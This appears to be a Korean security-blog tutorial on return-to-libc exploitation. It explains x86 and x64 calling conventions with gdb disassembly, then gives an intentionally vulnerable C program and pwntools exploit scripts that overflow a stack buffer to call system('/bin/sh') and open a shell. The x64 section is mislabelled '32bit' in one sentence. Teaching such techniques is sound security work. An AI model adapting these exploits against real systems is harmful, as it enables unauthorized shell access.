RTL이란 Return to Shellcode와 비슷하게 Return address 영역을 공유라이브러리(libc) 함수의 주소로 변경해, 해당 함수를 호출하는 방식이다. 이를 이용해 NX bit를 우회할 수 있다.
Calling Convention
RTL를 이해하기 위해 우선 함수 호출 규약에 대한 이해가 필요하다.
x86(32bit)
우선 32bit 바이너리에서 함수 호출 규약에 대해 설명하겠다.
- 함수의 인자 값을 Stack에 저장하며, 오른쪽에서 왼쪽 순서로 스택에 저장한다.
- 함수의 Return 값은 EAX 레지스터에 저장된다.
- 사용된 Stack 정리는 해당 함수를 호출한 함수가 정리한다.
인자 전달 방법 | Stack을 이용 |
인자 전달 순서 | 오른쪽에서 왼쪽의 순서로 스택에 쌓임 |
함수의 반환 값 | EAX 레지스터 |
Stack 정리 | 호출한 함수 |
예를 들어 다음과 같은 코드가 있다고 생각해 보자.
int a,b,c,d;
int ret;
ret = function(a,b,c,d);
해당 코드를 assembly code로 변환하면 다음과 같다.
- 4개의 인자를 push 명령어를 이용해 stack에 저장
- 함수 호출 후 반환된 값은 EAX 레지스터에 저장
push d
push c
push b
push a
call function
mov ret,eax
Stack에 저장된 함수의 인자 값을 사용할 때는 다음과 같이 사용한다(위의 코드와 관계 x).
- Stack에 저장된 인자들을 호출된 함수에서 PUSH 명령어를 이용해 Stack에 다시 저장한다
- EBP 레지스터에 의해 초기화된다.
gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
0x0804840b <+0>: push ebp
0x0804840c <+1>: mov ebp,esp
0x0804840e <+3>: sub esp,0x8
0x08048411 <+6>: sub esp,0xc
0x08048414 <+9>: push DWORD PTR [ebp+0x14]
0x08048417 <+12>: push DWORD PTR [ebp+0x10]
0x0804841a <+15>: push DWORD PTR [ebp+0xc]
0x0804841d <+18>: push DWORD PTR [ebp+0x8]
0x08048420 <+21>: push 0x80484e0
0x08048425 <+26>: call 0x80482e0 <printf@plt>
0x0804842a <+31>: add esp,0x20
0x0804842d <+34>: nop
0x0804842e <+35>: leave
0x0804842f <+36>: ret
End of assembler dump.
gdb-peda$ b *0x08048414
Breakpoint 2 at 0x8048414
gdb-peda$
x64(64bit)
32bit 바이너리에서 함수 호출 규약을 설명하겠다.
- 레지스터 RDI, RSI, RDX, RCX, R8, R9를 통해 정수 및 메모리 주소 인수가 전달된다.
- 레지스터 XMM0, XMM1, XMM2, XMM3, XMM4, XMM5, XMM6, XMM7를 통해 부동 소수점 인수가 전달된다.
인자 전달 방법 | RDI, RSI, RDX, RCX, R8, R9, XMM0-7, 그 이후 Stack |
인자 전달 순서 | 오른쪽에서 왼쪽의 순서로 레지스터에 저장 |
함수의 반환 값 | RAX |
Stack 정리 | 호출한 함수 |
32bit와 똑같이 다음과 같은 코드가 있다고 가정해 보자.
int a,b,c,d;
int ret;
ret = function(a,b,c,d);
해당 코드를 assembly code로 변환하면 다음과 같다.
- 4개의 인자 값을 MOV 명령어를 이용해 레지스터에 저장
- 함수 호출 후 반환된 값은 RAX 레지스터에 저장
mov rcx,d
mov rdx,c
mov rsi,b
mov rdi,a
call function
mov ret,rax
전달된 인자 값을 사용할 때는 다음과 같이 사용한다(위의 코드와 관계 x).
- MOV 명령어를 이용해 새로운 Stack Frame에 저장
gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
0x0000000000400526 <+0>: push rbp
0x0000000000400527 <+1>: mov rbp,rsp
0x000000000040052a <+4>: sub rsp,0x10
0x000000000040052e <+8>: mov DWORD PTR [rbp-0x4],edi
0x0000000000400531 <+11>: mov DWORD PTR [rbp-0x8],esi
0x0000000000400534 <+14>: mov DWORD PTR [rbp-0xc],edx
0x0000000000400537 <+17>: mov DWORD PTR [rbp-0x10],ecx
0x000000000040053a <+20>: mov esi,DWORD PTR [rbp-0x10]
0x000000000040053d <+23>: mov ecx,DWORD PTR [rbp-0xc]
0x0000000000400540 <+26>: mov edx,DWORD PTR [rbp-0x8]
0x0000000000400543 <+29>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000400546 <+32>: mov r8d,esi
0x0000000000400549 <+35>: mov esi,eax
0x000000000040054b <+37>: mov edi,0x400604
0x0000000000400550 <+42>: mov eax,0x0
0x0000000000400555 <+47>: call 0x400400 <printf@plt>
0x000000000040055a <+52>: nop
0x000000000040055b <+53>: leave
0x000000000040055c <+54>: ret
End of assembler dump.
gdb-peda$ b *0x0000000000400555
Breakpoint 2 at 0x400555
gdb-peda$
이러한 함수 호출 규약을 이용해 RET의 값을 libc 함수 주소로 변환 후, 각각의 바이너리 bit에 맞게 함수 인자를 전달해 주면 원하는 함수를 호출할 수 있게 된다.
Proof of concept
32bit
다음과 같은 32bit 바이너리가 있다고 생각해 보자.
- vuln() 함수에서 read() 함수를 이용해 100개의 문자를 입력받는다.
- 해당 부분에서 buf 변수는 50byte의 크기를 가지고 있어서 Stack Buffer Overflow가 발생한다.
- libc의 Base address를 얻기 위해 printf_addr 변수에 printf_addr의 함수 주소를 저장한다.
# gcc -fno-stack-protector -o ret2libc ret2libc.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
void vuln(){
char buf[50] = "";
void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
printf("Printf() address : %p\n",printf_addr);
read(0, buf, 100);
}
void main(){
vuln();
}
위의 코드를 Exploit 하는 코드는 다음과 같다.
- offset을 이용해 libc base 주소, system 함수 주소, binsh 문자열의 주소를 저장한다.
- Stack Buffer Overflow 기법을 이용해 RET의 값을 시스템 함수로 변조해 시스템 함수를 실행한다.
- 이때 저장되는 'BBBB" 값은 시스템 함수의 RET를 의미하고, 그다음으로 저장되는 binsh 문자열의 주소가 시스템 함수의 첫 번째 인자가 된다.
from pwn import *
p = process('./ret2libc-32')
p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)
libcBase = stackAddr - 0x49020
sysAddr = libcBase + 0x3a940
binsh = libcBase + 0x15902b
print hex(libcBase)
print hex(sysAddr)
print hex(binsh)
exploit = "A" * (70 - len(p32(sysAddr)))
exploit += p32(sysAddr)
exploit += 'BBBB'
exploit += p32(binsh)
p.send(exploit)
p.interactive()
64bit
32bit에서 사용한 코드를 그대로 사용해 Exploit 하는 코드는 다음과 같다.
- 32bit와 똑같이 RTL에 필요한 주소들을 저장한다.
- 32bit와 달리 poprdi라는 변수도 있는데 해당 변수는 64bit 함수 호출 규약에서 레지스터를 사용하고 호출되는 함수에서 PUSH 명령어를 통해 인자를 가져오므로 POP 명령어를 통해 인자를 가져오면서 RSP 레지스터의 값을 조정하게 된다.
- RET에 바로 시스템 함수 주소를 넣는 것이 아닌 poprdi 가젯을 넣어 줌으로써 인자를 전달할 준비를 한다.
from pwn import *
p = process('./ret2libc')
p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)
libcBase = stackAddr - 0x55800
sysAddr = libcBase + 0x45390
binsh = libcBase + 0x18cd57
poprdi = 0x400763
print hex(libcBase)
print hex(sysAddr)
print hex(binsh)
print hex(poprdi)
exploit = "A" * (80 - len(p64(sysAddr)))
exploit += p64(poprdi)
exploit += p64(binsh)
exploit += p64(sysAddr)
p.send(exploit)
p.interactive()
참고 사이트
01.RTL(Return to Libc) - x86 - TechNote - Lazenca.0x0
Excuse the ads! We need some help to keep our site up. List RTL(Return to Libc) RTL이란 Return address 영역에 공유 라이브러리 함수의 주소로 변경해, 해당 함수를 호출하는 방식입니다.해당 기법을 이용해 NX bit(DEP)
www.lazenca.net
02.RTL(Return to Libc) - x64 - TechNote - Lazenca.0x0
Excuse the ads! We need some help to keep our site up. List RTL(Return to Libc) RTL이란 Return address 영역에 공유 라이브러리 함수의 주소로 변경해, 해당 함수를 호출하는 방식입니다.해당 기법을 이용해 NX bit(DEP)
www.lazenca.net
'hacking > pwnable' 카테고리의 다른 글
One-gadgets (0) | 2023.05.27 |
---|---|
ROP(Return Oriented Programming) (0) | 2023.05.27 |
Return to Shellcode (0) | 2023.05.27 |
hook overwrite (0) | 2023.03.11 |
patchelf (0) | 2023.01.06 |